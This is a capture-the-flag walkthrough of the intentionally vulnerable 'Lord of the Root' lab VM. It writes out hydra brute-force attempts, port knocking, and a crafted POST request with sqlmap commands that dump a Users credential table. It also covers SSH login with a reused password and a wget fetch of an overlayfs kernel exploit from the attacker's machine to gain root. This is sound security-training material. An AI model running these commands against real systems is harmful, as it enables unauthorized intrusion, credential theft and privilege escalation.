Tags: password reuse; improper input validation; un-patched server; SQLi
Lord of the Root is an intentionally vulnerable Ubuntu 14.04 virtual machine (VM) created by KookSec and hosted on vulnhub.com.
I downloaded and imported the .ova into my virtual lab without issues using VMWare Fusion(Professional Version 8.5.2). The VM started up and presented the following desktop:
The desktop revealed a likely user account on the machine. Smeagol is a character in the Lord of the Rings anthology. I added 'smeagol' and other likely LOTR characters to my username list for later.
On my attacking Kali Linux VM I ran netdiscover to determine the target's IP address:
I ran some nmap scans:
Looks like the target is running SSH on port 22.
The remote SSH session attempt revealed the SSH splash screen that included the the word 'knock' and 'Easy as 1,2,3' (a port knocking clue).
Before I attempted port knocking, I did a quick SSH brute force attempt.
I used hydra to test user smeagol for easy passwords (barnett_top500.txt) and was unsuccessful. Then used cewl to create a password list of Lord of the Rings words and tried hydra again.
#cewl http://www.imdb.com/title/tt0120737/trivia?ref_=tt_ql_2 -d 0 -w /root/lordroot/imdb_words2.txt -m 8
OK, so no trivial brute force for user smeagol.
I began port knocking. I tried a bunch of different ways, but here is the method that opened up a new port:
This port knocking method opened up a new port, port 1337.
Interesting...port 1337...for fun I browsed to the port:
OK...I examined the source code of the page.
The source code revealed a sub-directory of the web root. I browsed to it and found this...
OK, an image directory. I downloaded and examined each image in binwalk.
I found nothing interesting in the three images. I also examined each images' metadata in Exiftool and found nothing interesting either.
For fun, I browsed for a robot.txt file on the web root...
The robots.txt page had one of the three images in it and did not have the usual file directory presentation. I examined the page's source code.
The source code had some syntax-incorrect html code that contained a likely encoded string. I tried various ways to decode this string. I eventually discovered that is was a double-Base64 encoded string.
I used Kali Linux's base64 decoding method. Was rewarded after the first decode with a note of encouragement ('Closer!').
The second decode revealed what was most likely a new directory off the web root. Now, we are getting somewhere!
I browsed to the newly-disovered directory.
Aaand, it is a page with form-based authentication.
I ran the page through Burp Suite Pro and discovered a possible SQLi vulnerability.
SQL Injection Vulnerability
I prepared to attack the possible SQLi vulnerability by crafting a post request as per below. Then, I ran it through SQLMap.
request.txt
POST /978345210/index.php HTTP/1.1
Host: 192.168.188.244:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=9lr00pcvfm2ne5k7lbqe3ol156
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
username=aaa*&password=bbb*&submit=+Login+
Ran the following command with SQLMap:
#sqlmap -r /root/request.txt --risk=3 --level=5
I attempted to enumerate the name of the web applications database:
#sqlmap -r /root/request.txt --dbms=MYSQL --risk=3 --level=5 –current-db
#sqlmap -r /root/request.txt --dbms=MYSQL --risk=3 --level=5 -D Webapp --tables
Looks like just one table 'Users'...
Next, I enumerated the columns in the Users table...
#sqlmap -r /root/request.txt --dbms=MYSQL --risk=3 --level=5 -D Webapp -T Users –columns
Looks like three columns...including the password and username columns...
I then attempted to dump the contents of all three columns in the Users table...
#sqlmap -r /root/request.txt --dbms=MYSQL --risk=3 --level=5 -D Webapp -T Users --dump
Aaaand, it worked. I noted all five web app credentials for my notes.
For fun, I attempted to login to SSH as user smeagol with the web app password....
#ssh smeagol@192.168.188.244
(password:MyPreciousR00t)
And it worked. I gained user smeagol access remotely via SSH.
Privilege Escalation
Since the target has an Ubuntu 14.04 kernel, I first considered the 'overlayfs'
(Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Privilege Escalation (1) – 39166.c) local exploit.
I put 39166.c on my attacking Kali Linux machine's web root, started the apache server on it, and from the remote SSH user session on the target used wget to bring the script on the target.
I made it executable, compiled it locally, and then executed it.
It worked!; I got root privileges on the target. I then found the proof flag.
This completed the Lord of the Root challenge.
Acknowledgements:
Thanks to KookSec for creating the Lord of the Root challenge. Thanks to g0tmi1k for hosting and maintaining the vulnhub.com site. Also to the vulnhub folks who test each VM so thoroughly before releasing.
